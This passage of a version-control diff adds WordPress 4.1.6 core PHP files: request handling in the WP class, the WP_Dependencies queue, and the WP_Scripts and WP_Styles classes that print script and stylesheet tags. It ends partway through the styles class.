+		foreach ( (array) $wp_query->query_vars as $key => $value ) {
+			$GLOBALS[ $key ] = $value;
+		}
+
+		$GLOBALS['query_string'] = $this->query_string;
+		$GLOBALS['posts'] = & $wp_query->posts;
+		$GLOBALS['post'] = isset( $wp_query->post ) ? $wp_query->post : null;
+		$GLOBALS['request'] = $wp_query->request;
+
+		if ( $wp_query->is_single() || $wp_query->is_page() ) {
+			$GLOBALS['more']   = 1;
+			$GLOBALS['single'] = 1;
+		}
+
+		if ( $wp_query->is_author() && isset( $wp_query->post ) )
+			$GLOBALS['authordata'] = get_userdata( $wp_query->post->post_author );
+	}
+
+	/**
+	 * Set up the current user.
+	 *
+	 * @since 2.0.0
+	 */
+	public function init() {
+		wp_get_current_user();
+	}
+
+	/**
+	 * Set up the Loop based on the query variables.
+	 *
+	 * @since 2.0.0
+	 */
+	public function query_posts() {
+		global $wp_the_query;
+		$this->build_query_string();
+		$wp_the_query->query($this->query_vars);
+ 	}
+
+ 	/**
+ 	 * Set the Headers for 404, if nothing is found for requested URL.
+	 *
+	 * Issue a 404 if a request doesn't match any posts and doesn't match
+	 * any object (e.g. an existing-but-empty category, tag, author) and a 404 was not already
+	 * issued, and if the request was not a search or the homepage.
+	 *
+	 * Otherwise, issue a 200.
+	 *
+	 * @since 2.0.0
+ 	 */
+	public function handle_404() {
+		global $wp_query;
+
+		// If we've already issued a 404, bail.
+		if ( is_404() )
+			return;
+
+		// Never 404 for the admin, robots, or if we found posts.
+		if ( is_admin() || is_robots() || $wp_query->posts ) {
+			status_header( 200 );
+			return;
+		}
+
+		// We will 404 for paged queries, as no posts were found.
+		if ( ! is_paged() ) {
+
+			// Don't 404 for authors without posts as long as they matched an author on this site.
+			$author = get_query_var( 'author' );
+			if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) ) {
+				status_header( 200 );
+				return;
+			}
+
+			// Don't 404 for these queries if they matched an object.
+			if ( ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object() ) {
+				status_header( 200 );
+				return;
+			}
+
+			// Don't 404 for these queries either.
+			if ( is_home() || is_search() || is_feed() ) {
+				status_header( 200 );
+				return;
+			}
+		}
+
+		// Guess it's time to 404.
+		$wp_query->set_404();
+		status_header( 404 );
+		nocache_headers();
+	}
+
+	/**
+	 * Sets up all of the variables required by the WordPress environment.
+	 *
+	 * The action 'wp' has one parameter that references the WP object. It
+	 * allows for accessing the properties and methods to further manipulate the
+	 * object.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string|array $query_args Passed to {@link parse_request()}
+	 */
+	public function main($query_args = '') {
+		$this->init();
+		$this->parse_request($query_args);
+		$this->send_headers();
+		$this->query_posts();
+		$this->handle_404();
+		$this->register_globals();
+
+		/**
+		 * Fires once the WordPress environment has been set up.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param WP &$this Current WordPress environment instance (passed by reference).
+		 */
+		do_action_ref_array( 'wp', array( &$this ) );
+	}
+
+}
+
+/**
+ * Helper class to remove the need to use eval to replace $matches[] in query strings.
+ *
+ * @since 2.9.0
+ */
+class WP_MatchesMapRegex {
+	/**
+	 * store for matches
+	 *
+	 * @access private
+	 * @var array
+	 */
+	private $_matches;
+
+	/**
+	 * store for mapping result
+	 *
+	 * @access public
+	 * @var string
+	 */
+	public $output;
+
+	/**
+	 * subject to perform mapping on (query string containing $matches[] references
+	 *
+	 * @access private
+	 * @var string
+	 */
+	private $_subject;
+
+	/**
+	 * regexp pattern to match $matches[] references
+	 *
+	 * @var string
+	 */
+	public $_pattern = '(\$matches\[[1-9]+[0-9]*\])'; // magic number
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	/**
+	 * constructor
+	 *
+	 * @param string $subject subject if regex
+	 * @param array  $matches data to use in map
+	 * @return self
+	 */
+	public function WP_MatchesMapRegex($subject, $matches) {
+		$this->_subject = $subject;
+		$this->_matches = $matches;
+		$this->output = $this->_map();
+	}
+
+	/**
+	 * Substitute substring matches in subject.
+	 *
+	 * static helper function to ease use
+	 *
+	 * @access public
+	 * @param string $subject subject
+	 * @param array  $matches data used for substitution
+	 * @return string
+	 */
+	public static function apply($subject, $matches) {
+		$oSelf = new WP_MatchesMapRegex($subject, $matches);
+		return $oSelf->output;
+	}
+
+	/**
+	 * do the actual mapping
+	 *
+	 * @access private
+	 * @return string
+	 */
+	private function _map() {
+		$callback = array($this, 'callback');
+		return preg_replace_callback($this->_pattern, $callback, $this->_subject);
+	}
+
+	/**
+	 * preg_replace_callback hook
+	 *
+	 * @access public
+	 * @param  array $matches preg_replace regexp matches
+	 * @return string
+	 */
+	public function callback($matches) {
+		$index = intval(substr($matches[0], 9, -1));
+		return ( isset( $this->_matches[$index] ) ? urlencode($this->_matches[$index]) : '' );
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/class.wp-dependencies.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class.wp-dependencies.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class.wp-dependencies.php	(revision 33402)
@@ -0,0 +1,509 @@
+<?php
+/**
+ * BackPress Scripts enqueue
+ *
+ * Classes were refactored from the WP_Scripts and WordPress script enqueue API.
+ *
+ * @since BackPress r74
+ *
+ * @package BackPress
+ * @uses _WP_Dependency
+ * @since r74
+ */
+class WP_Dependencies {
+	/**
+	 * An array of registered handle objects.
+	 *
+	 * @access public
+	 * @since 2.6.8
+	 * @var array
+	 */
+	public $registered = array();
+
+	/**
+	 * An array of queued _WP_Dependency handle objects.
+	 *
+	 * @access public
+	 * @since 2.6.8
+	 * @var array
+	 */
+	public $queue = array();
+
+	/**
+	 * An array of _WP_Dependency handle objects to queue.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $to_do = array();
+
+	/**
+	 * An array of _WP_Dependency handle objects already queued.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $done = array();
+
+	/**
+	 * An array of additional arguments passed when a handle is registered.
+	 *
+	 * Arguments are appended to the item query string.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $args = array();
+
+	/**
+	 * An array of handle groups to enqueue.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $groups = array();
+
+	/**
+	 * A handle group to enqueue.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 * @var int
+	 */
+	public $group = 0;
+
+	/**
+	 * Process the items and dependencies.
+	 *
+	 * Processes the items passed to it or the queue, and their dependencies.
+	 *
+	 * @access public
+	 * @since 2.1.0
+	 *
+	 * @param mixed $handles Optional. Items to be processed: Process queue (false), process item (string), process items (array of strings).
+	 * @param mixed $group   Group level: level (int), no groups (false).
+	 * @return array Handles of items that have been processed.
+	 */
+	public function do_items( $handles = false, $group = false ) {
+		/*
+		 * If nothing is passed, print the queue. If a string is passed,
+		 * print that item. If an array is passed, print those items.
+		 */
+		$handles = false === $handles ? $this->queue : (array) $handles;
+		$this->all_deps( $handles );
+
+		foreach( $this->to_do as $key => $handle ) {
+			if ( !in_array($handle, $this->done, true) && isset($this->registered[$handle]) ) {
+
+				/*
+				 * A single item may alias a set of items, by having dependencies,
+				 * but no source. Queuing the item queues the dependencies.
+				 *
+				 * Example: The extending class WP_Scripts is used to register 'scriptaculous' as a set of registered handles:
+				 *   <code>add( 'scriptaculous', false, array( 'scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls' ) );</code>
+				 *
+				 * The src property is false.
+				 */
+				if ( ! $this->registered[$handle]->src ) {
+					$this->done[] = $handle;
+					continue;
+				}
+
+				/*
+				 * Attempt to process the item. If successful,
+				 * add the handle to the done array.
+				 *
+				 * Unset the item from the to_do array.
+				 */
+				if ( $this->do_item( $handle, $group ) )
+					$this->done[] = $handle;
+
+				unset( $this->to_do[$key] );
+			}
+		}
+
+		return $this->done;
+	}
+
+	/**
+	 * Process a dependency.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @return bool True on success, false if not set.
+	 */
+	public function do_item( $handle ) {
+		return isset($this->registered[$handle]);
+	}
+
+	/**
+	 * Determine dependencies.
+	 *
+	 * Recursively builds an array of items to process taking
+	 * dependencies into account. Does NOT catch infinite loops.
+	 *
+	 * @access public
+	 * @since 2.1.0
+	 *
+	 * @param mixed $handles   Item handle and argument (string) or item handles and arguments (array of strings).
+	 * @param bool  $recursion Internal flag that function is calling itself.
+	 * @param mixed $group     Group level: (int) level, (false) no groups.
+	 * @return bool True on success, false on failure.
+	 */
+	public function all_deps( $handles, $recursion = false, $group = false ) {
+		if ( !$handles = (array) $handles )
+			return false;
+
+		foreach ( $handles as $handle ) {
+			$handle_parts = explode('?', $handle);
+			$handle = $handle_parts[0];
+			$queued = in_array($handle, $this->to_do, true);
+
+			if ( in_array($handle, $this->done, true) ) // Already done
+				continue;
+
+			$moved = $this->set_group( $handle, $recursion, $group );
+
+			if ( $queued && !$moved ) // already queued and in the right group
+				continue;
+
+			$keep_going = true;
+			if ( !isset($this->registered[$handle]) )
+				$keep_going = false; // Item doesn't exist.
+			elseif ( $this->registered[$handle]->deps && array_diff($this->registered[$handle]->deps, array_keys($this->registered)) )
+				$keep_going = false; // Item requires dependencies that don't exist.
+			elseif ( $this->registered[$handle]->deps && !$this->all_deps( $this->registered[$handle]->deps, true, $group ) )
+				$keep_going = false; // Item requires dependencies that don't exist.
+
+			if ( ! $keep_going ) { // Either item or its dependencies don't exist.
+				if ( $recursion )
+					return false; // Abort this branch.
+				else
+					continue; // We're at the top level. Move on to the next one.
+			}
+
+			if ( $queued ) // Already grabbed it and its dependencies.
+				continue;
+
+			if ( isset($handle_parts[1]) )
+				$this->args[$handle] = $handle_parts[1];
+
+			$this->to_do[] = $handle;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Register an item.
+	 *
+	 * Registers the item if no item of that name already exists.
+	 *
+	 * @access public
+	 * @since 2.1.0
+	 *
+	 * @param string $handle Unique item name.
+	 * @param string $src    The item url.
+	 * @param array  $deps   Optional. An array of item handle strings on which this item depends.
+	 * @param string $ver    Optional. Version (used for cache busting).
+	 * @param mixed  $args   Optional. Custom property of the item. NOT the class property $args. Examples: $media, $in_footer.
+	 * @return bool True on success, false on failure.
+	 */
+	public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
+		if ( isset($this->registered[$handle]) )
+			return false;
+		$this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );
+		return true;
+	}
+
+	/**
+	 * Add extra item data.
+	 *
+	 * Adds data to a registered item.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @param string $key    The data key.
+	 * @param mixed  $value  The data value.
+	 * @return bool True on success, false on failure.
+	 */
+	public function add_data( $handle, $key, $value ) {
+		if ( !isset( $this->registered[$handle] ) )
+			return false;
+
+		return $this->registered[$handle]->add_data( $key, $value );
+	}
+
+	/**
+	 * Get extra item data.
+	 *
+	 * Gets data associated with a registered item.
+	 *
+	 * @access public
+	 * @since 3.3.0
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @param string $key    The data key.
+	 * @return mixed Extra item data (string), false otherwise.
+	 */
+	public function get_data( $handle, $key ) {
+		if ( !isset( $this->registered[$handle] ) )
+			return false;
+
+		if ( !isset( $this->registered[$handle]->extra[$key] ) )
+			return false;
+
+		return $this->registered[$handle]->extra[$key];
+	}
+
+	/**
+	 * Un-register an item or items.
+	 *
+	 * @access public
+	 * @since 2.1.0
+	 *
+	 * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings).
+	 * @return void
+	 */
+	public function remove( $handles ) {
+		foreach ( (array) $handles as $handle )
+			unset($this->registered[$handle]);
+	}
+
+	/**
+	 * Queue an item or items.
+	 *
+	 * Decodes handles and arguments, then queues handles and stores
+	 * arguments in the class property $args. For example in extending
+	 * classes, $args is appended to the item url as a query string.
+	 * Note $args is NOT the $args property of items in the $registered array.
+	 *
+	 * @access public
+	 * @since 2.1.0
+	 *
+	 * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings).
+	 */
+	public function enqueue( $handles ) {
+		foreach ( (array) $handles as $handle ) {
+			$handle = explode('?', $handle);
+			if ( !in_array($handle[0], $this->queue) && isset($this->registered[$handle[0]]) ) {
+				$this->queue[] = $handle[0];
+				if ( isset($handle[1]) )
+					$this->args[$handle[0]] = $handle[1];
+			}
+		}
+	}
+
+	/**
+	 * Dequeue an item or items.
+	 *
+	 * Decodes handles and arguments, then dequeues handles
+	 * and removes arguments from the class property $args.
+	 *
+	 * @access public
+	 * @since 2.1.0
+	 *
+	 * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings).
+	 */
+	public function dequeue( $handles ) {
+		foreach ( (array) $handles as $handle ) {
+			$handle = explode('?', $handle);
+			$key = array_search($handle[0], $this->queue);
+			if ( false !== $key ) {
+				unset($this->queue[$key]);
+				unset($this->args[$handle[0]]);
+			}
+		}
+	}
+
+	/**
+	 * Recursively search the passed dependency tree for $handle
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array  $queue  An array of queued _WP_Dependency handle objects.
+	 * @param string $handle Name of the item. Should be unique.
+	 * @return boolean Whether the handle is found after recursively searching the dependency tree.
+	 */
+	protected function recurse_deps( $queue, $handle ) {
+		foreach ( $queue as $queued ) {
+			if ( ! isset( $this->registered[ $queued ] ) ) {
+				continue;
+			}
+
+			if ( in_array( $handle, $this->registered[ $queued ]->deps ) ) {
+				return true;
+			} elseif ( $this->recurse_deps( $this->registered[ $queued ]->deps, $handle ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Query list for an item.
+	 *
+	 * @access public
+	 * @since 2.1.0
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @param string $list   Property name of list array.
+	 * @return bool Found, or object Item data.
+	 */
+	public function query( $handle, $list = 'registered' ) {
+		switch ( $list ) {
+			case 'registered' :
+			case 'scripts': // back compat
+				if ( isset( $this->registered[ $handle ] ) )
+					return $this->registered[ $handle ];
+				return false;
+
+			case 'enqueued' :
+			case 'queue' :
+				if ( in_array( $handle, $this->queue ) ) {
+					return true;
+				}
+				return $this->recurse_deps( $this->queue, $handle );
+
+			case 'to_do' :
+			case 'to_print': // back compat
+				return in_array( $handle, $this->to_do );
+
+			case 'done' :
+			case 'printed': // back compat
+				return in_array( $handle, $this->done );
+		}
+		return false;
+	}
+
+	/**
+	 * Set item group, unless already in a lower group.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @param string $handle    Name of the item. Should be unique.
+	 * @param bool   $recursion Internal flag that calling function was called recursively.
+	 * @param mixed  $group     Group level.
+	 * @return bool Not already in the group or a lower group
+	 */
+	public function set_group( $handle, $recursion, $group ) {
+		$group = (int) $group;
+
+		if ( $recursion )
+			$group = min($this->group, $group);
+		else
+			$this->group = $group;
+
+		if ( isset($this->groups[$handle]) && $this->groups[$handle] <= $group )
+			return false;
+
+		$this->groups[$handle] = $group;
+		return true;
+	}
+
+} // WP_Dependencies
+
+/**
+ * Class _WP_Dependency
+ *
+ * Helper class to register a handle and associated data.
+ *
+ * @access private
+ * @since 2.6.0
+ */
+class _WP_Dependency {
+	/**
+	 * The handle name.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var null
+	 */
+	public $handle;
+
+	/**
+	 * The handle source.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var null
+	 */
+	public $src;
+
+	/**
+	 * An array of handle dependencies.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $deps = array();
+
+	/**
+	 * The handle version.
+	 *
+	 * Used for cache-busting.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var bool|string
+	 */
+	public $ver = false;
+
+	/**
+	 * Additional arguments for the handle.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var null
+	 */
+	public $args = null;  // Custom property, such as $in_footer or $media.
+
+	/**
+	 * Extra data to supply to the handle.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $extra = array();
+
+	/**
+	 * Setup dependencies.
+	 *
+	 * @since 2.6.0
+	 */
+	public function __construct() {
+		@list( $this->handle, $this->src, $this->deps, $this->ver, $this->args ) = func_get_args();
+		if ( ! is_array($this->deps) )
+			$this->deps = array();
+	}
+
+	/**
+	 * Add handle data.
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 *
+	 * @param string $name The data key to add.
+	 * @param mixed  $data The data value to add.
+	 * @return bool False if not scalar, true otherwise.
+	 */
+	public function add_data( $name, $data ) {
+		if ( !is_scalar($name) )
+			return false;
+		$this->extra[$name] = $data;
+		return true;
+	}
+
+} // _WP_Dependencies
Index: /tags/4.1.6/src/wp-includes/class.wp-scripts.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class.wp-scripts.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class.wp-scripts.php	(revision 33402)
@@ -0,0 +1,263 @@
+<?php
+/**
+ * BackPress Scripts enqueue.
+ *
+ * These classes were refactored from the WordPress WP_Scripts and WordPress
+ * script enqueue API.
+ *
+ * @package BackPress
+ * @since r16
+ */
+
+/**
+ * BackPress Scripts enqueue class.
+ *
+ * @package BackPress
+ * @uses WP_Dependencies
+ * @since r16
+ */
+class WP_Scripts extends WP_Dependencies {
+	public $base_url; // Full URL with trailing slash
+	public $content_url;
+	public $default_version;
+	public $in_footer = array();
+	public $concat = '';
+	public $concat_version = '';
+	public $do_concat = false;
+	public $print_html = '';
+	public $print_code = '';
+	public $ext_handles = '';
+	public $ext_version = '';
+	public $default_dirs;
+
+	public function __construct() {
+		$this->init();
+		add_action( 'init', array( $this, 'init' ), 0 );
+	}
+
+	public function init() {
+		/**
+		 * Fires when the WP_Scripts instance is initialized.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param WP_Scripts &$this WP_Scripts instance, passed by reference.
+		 */
+		do_action_ref_array( 'wp_default_scripts', array(&$this) );
+	}
+
+	/**
+	 * Prints scripts.
+	 *
+	 * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies.
+	 *
+	 * @param mixed $handles Optional. Scripts to be printed. (void) prints queue, (string) prints
+	 *                       that script, (array of strings) prints those scripts. Default false.
+	 * @param int   $group   Optional. If scripts were queued in groups prints this group number.
+	 *                       Default false.
+	 * @return array Scripts that have been printed.
+	 */
+	public function print_scripts( $handles = false, $group = false ) {
+		return $this->do_items( $handles, $group );
+	}
+
+	// Deprecated since 3.3, see print_extra_script()
+	public function print_scripts_l10n( $handle, $echo = true ) {
+		_deprecated_function( __FUNCTION__, '3.3', 'print_extra_script()' );
+		return $this->print_extra_script( $handle, $echo );
+	}
+
+	public function print_extra_script( $handle, $echo = true ) {
+		if ( !$output = $this->get_data( $handle, 'data' ) )
+			return;
+
+		if ( !$echo )
+			return $output;
+
+		echo "<script type='text/javascript'>\n"; // CDATA and type='text/javascript' is not needed for HTML 5
+		echo "/* <![CDATA[ */\n";
+		echo "$output\n";
+		echo "/* ]]> */\n";
+		echo "</script>\n";
+
+		return true;
+	}
+
+	public function do_item( $handle, $group = false ) {
+		if ( !parent::do_item($handle) )
+			return false;
+
+		if ( 0 === $group && $this->groups[$handle] > 0 ) {
+			$this->in_footer[] = $handle;
+			return false;
+		}
+
+		if ( false === $group && in_array($handle, $this->in_footer, true) )
+			$this->in_footer = array_diff( $this->in_footer, (array) $handle );
+
+		if ( null === $this->registered[$handle]->ver )
+			$ver = '';
+		else
+			$ver = $this->registered[$handle]->ver ? $this->registered[$handle]->ver : $this->default_version;
+
+		if ( isset($this->args[$handle]) )
+			$ver = $ver ? $ver . '&amp;' . $this->args[$handle] : $this->args[$handle];
+
+		$src = $this->registered[$handle]->src;
+
+		if ( $this->do_concat ) {
+			/**
+			 * Filter the script loader source.
+			 *
+			 * @since 2.2.0
+			 *
+			 * @param string $src    Script loader source path.
+			 * @param string $handle Script handle.
+			 */
+			$srce = apply_filters( 'script_loader_src', $src, $handle );
+			if ( $this->in_default_dir($srce) ) {
+				$this->print_code .= $this->print_extra_script( $handle, false );
+				$this->concat .= "$handle,";
+				$this->concat_version .= "$handle$ver";
+				return true;
+			} else {
+				$this->ext_handles .= "$handle,";
+				$this->ext_version .= "$handle$ver";
+			}
+		}
+
+		$this->print_extra_script( $handle );
+		if ( !preg_match('|^(https?:)?//|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) {
+			$src = $this->base_url . $src;
+		}
+
+		if ( !empty($ver) )
+			$src = add_query_arg('ver', $ver, $src);
+
+		/** This filter is documented in wp-includes/class.wp-scripts.php */
+		$src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) );
+
+		if ( ! $src )
+			return true;
+
+		$tag = "<script type='text/javascript' src='$src'></script>\n";
+
+		/** 
+		 * Filter the HTML script tag of an enqueued script.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param string $tag    The `<script>` tag for the enqueued script.
+		 * @param string $handle The script's registered handle.
+		 * @param string $src    The script's source URL.
+		 */
+		$tag = apply_filters( 'script_loader_tag', $tag, $handle, $src );
+
+		if ( $this->do_concat ) {
+			$this->print_html .= $tag;
+		} else {
+			echo $tag;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Localizes a script
+	 *
+	 * Localizes only if the script has already been added
+	 */
+	public function localize( $handle, $object_name, $l10n ) {
+		if ( $handle === 'jquery' )
+			$handle = 'jquery-core';
+
+		if ( is_array($l10n) && isset($l10n['l10n_print_after']) ) { // back compat, preserve the code in 'l10n_print_after' if present
+			$after = $l10n['l10n_print_after'];
+			unset($l10n['l10n_print_after']);
+		}
+
+		foreach ( (array) $l10n as $key => $value ) {
+			if ( !is_scalar($value) )
+				continue;
+
+			$l10n[$key] = html_entity_decode( (string) $value, ENT_QUOTES, 'UTF-8');
+		}
+
+		$script = "var $object_name = " . wp_json_encode( $l10n ) . ';';
+
+		if ( !empty($after) )
+			$script .= "\n$after;";
+
+		$data = $this->get_data( $handle, 'data' );
+
+		if ( !empty( $data ) )
+			$script = "$data\n$script";
+
+		return $this->add_data( $handle, 'data', $script );
+	}
+
+	public function set_group( $handle, $recursion, $group = false ) {
+
+		if ( $this->registered[$handle]->args === 1 )
+			$grp = 1;
+		else
+			$grp = (int) $this->get_data( $handle, 'group' );
+
+		if ( false !== $group && $grp > $group )
+			$grp = $group;
+
+		return parent::set_group( $handle, $recursion, $grp );
+	}
+
+	public function all_deps( $handles, $recursion = false, $group = false ) {
+		$r = parent::all_deps( $handles, $recursion );
+		if ( ! $recursion ) {
+			/**
+			 * Filter the list of script dependencies left to print.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param array $to_do An array of script dependencies.
+			 */
+			$this->to_do = apply_filters( 'print_scripts_array', $this->to_do );
+		}
+		return $r;
+	}
+
+	public function do_head_items() {
+		$this->do_items(false, 0);
+		return $this->done;
+	}
+
+	public function do_footer_items() {
+		$this->do_items(false, 1);
+		return $this->done;
+	}
+
+	public function in_default_dir( $src ) {
+		if ( ! $this->default_dirs ) {
+			return true;
+		}
+
+		if ( 0 === strpos( $src, '/' . WPINC . '/js/l10n' ) ) {
+			return false;
+		}
+
+		foreach ( (array) $this->default_dirs as $test ) {
+			if ( 0 === strpos( $src, $test ) ) {
+				return true;
+			}
+		}
+		return false;
+	}
+
+	public function reset() {
+		$this->do_concat = false;
+		$this->print_code = '';
+		$this->concat = '';
+		$this->concat_version = '';
+		$this->print_html = '';
+		$this->ext_version = '';
+		$this->ext_handles = '';
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class.wp-styles.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class.wp-styles.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class.wp-styles.php	(revision 33402)
@@ -0,0 +1,241 @@
+<?php
+/**
+ * BackPress Styles enqueue.
+ *
+ * These classes were refactored from the WordPress WP_Scripts and WordPress
+ * script enqueue API.
+ *
+ * @package BackPress
+ * @since r74
+ */
+
+/**
+ * BackPress Styles enqueue class.
+ *
+ * @package BackPress
+ * @uses WP_Dependencies
+ * @since r74
+ */
+class WP_Styles extends WP_Dependencies {
+	public $base_url;
+	public $content_url;
+	public $default_version;
+	public $text_direction = 'ltr';
+	public $concat = '';
+	public $concat_version = '';
+	public $do_concat = false;
+	public $print_html = '';
+	public $print_code = '';
+	public $default_dirs;
+
+	public function __construct() {
+		/**
+		 * Fires when the WP_Styles instance is initialized.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param WP_Styles &$this WP_Styles instance, passed by reference.
+		 */
+		do_action_ref_array( 'wp_default_styles', array(&$this) );
+	}
+
+	/**
+	 * @param string $handle
+	 * @return bool
+	 */
+	public function do_item( $handle ) {
+		if ( !parent::do_item($handle) )
+			return false;
+
+		$obj = $this->registered[$handle];
+		if ( null === $obj->ver )
+			$ver = '';
+		else
+			$ver = $obj->ver ? $obj->ver : $this->default_version;
+
+		if ( isset($this->args[$handle]) )
+			$ver = $ver ? $ver . '&amp;' . $this->args[$handle] : $this->args[$handle];
+
+		if ( $this->do_concat ) {
+			if ( $this->in_default_dir($obj->src) && !isset($obj->extra['conditional']) && !isset($obj->extra['alt']) ) {
+				$this->concat .= "$handle,";
+				$this->concat_version .= "$handle$ver";
+
+				$this->print_code .= $this->print_inline_style( $handle, false );
+
+				return true;
+			}
+		}
+
+		if ( isset($obj->args) )
+			$media = esc_attr( $obj->args );
+		else
+			$media = 'all';
+
+		$href = $this->_css_href( $obj->src, $ver, $handle );
+		if ( empty( $href ) ) {
+			// Turns out there is nothing to print.
+			return true;
+		}
+		$rel = isset($obj->extra['alt']) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet';
+		$title = isset($obj->extra['title']) ? "title='" . esc_attr( $obj->extra['title'] ) . "'" : '';
+
+		/**
+		 * Filter the HTML link tag of an enqueued style.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string         The link tag for the enqueued style.
+		 * @param string $handle The style's registered handle.
+		 */
+		$tag = apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-css' $title href='$href' type='text/css' media='$media' />\n", $handle );
+		if ( 'rtl' === $this->text_direction && isset($obj->extra['rtl']) && $obj->extra['rtl'] ) {
+			if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) {
+				$suffix = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : '';
+				$rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $obj->src , $ver, "$handle-rtl" ));
+			} else {
+				$rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" );
+			}
+
+			/** This filter is documented in wp-includes/class.wp-styles.php */
+			$rtl_tag = apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-rtl-css' $title href='$rtl_href' type='text/css' media='$media' />\n", $handle );
+
+			if ( $obj->extra['rtl'] === 'replace' ) {
+				$tag = $rtl_tag;
+			} else {
+				$tag .= $rtl_tag;
+			}
+		}
+
+		if ( isset($obj->extra['conditional']) && $obj->extra['conditional'] ) {
+			$tag = "<!--[if {$obj->extra['conditional']}]>\n" . $tag . "<![endif]-->\n";
+		}
+
+		if ( $this->do_concat ) {
+			$this->print_html .= $tag;
+			if ( $inline_style = $this->print_inline_style( $handle, false ) )
+				$this->print_html .= sprintf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $inline_style );
+		} else {
+			echo $tag;
+			$this->print_inline_style( $handle );
+		}
+
+		return true;
+	}
+
+	/**
+	 * @param string $handle
+	 * @param string $code
+	 */
+	public function add_inline_style( $handle, $code ) {
+		if ( ! $code ) {
+			return false;
+		}
+
+		$after = $this->get_data( $handle, 'after' );
+		if ( ! $after ) {
+			$after = array();
+		}
+
+		$after[] = $code;
+
+		return $this->add_data( $handle, 'after', $after );
+	}
+
+	/**
+	 * @param string $handle
+	 * @param bool $echo
+	 * @return bool
+	 */
+	public function print_inline_style( $handle, $echo = true ) {
+		$output = $this->get_data( $handle, 'after' );
+
+		if ( empty( $output ) ) {
+			return false;
+		}
+
+		$output = implode( "\n", $output );
+
+		if ( ! $echo ) {
+			return $output;
+		}
+
+		printf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $output );
+
+		return true;
+	}
+
+	/**
+	 * @param mixed $handles
+	 * @param bool $recursion
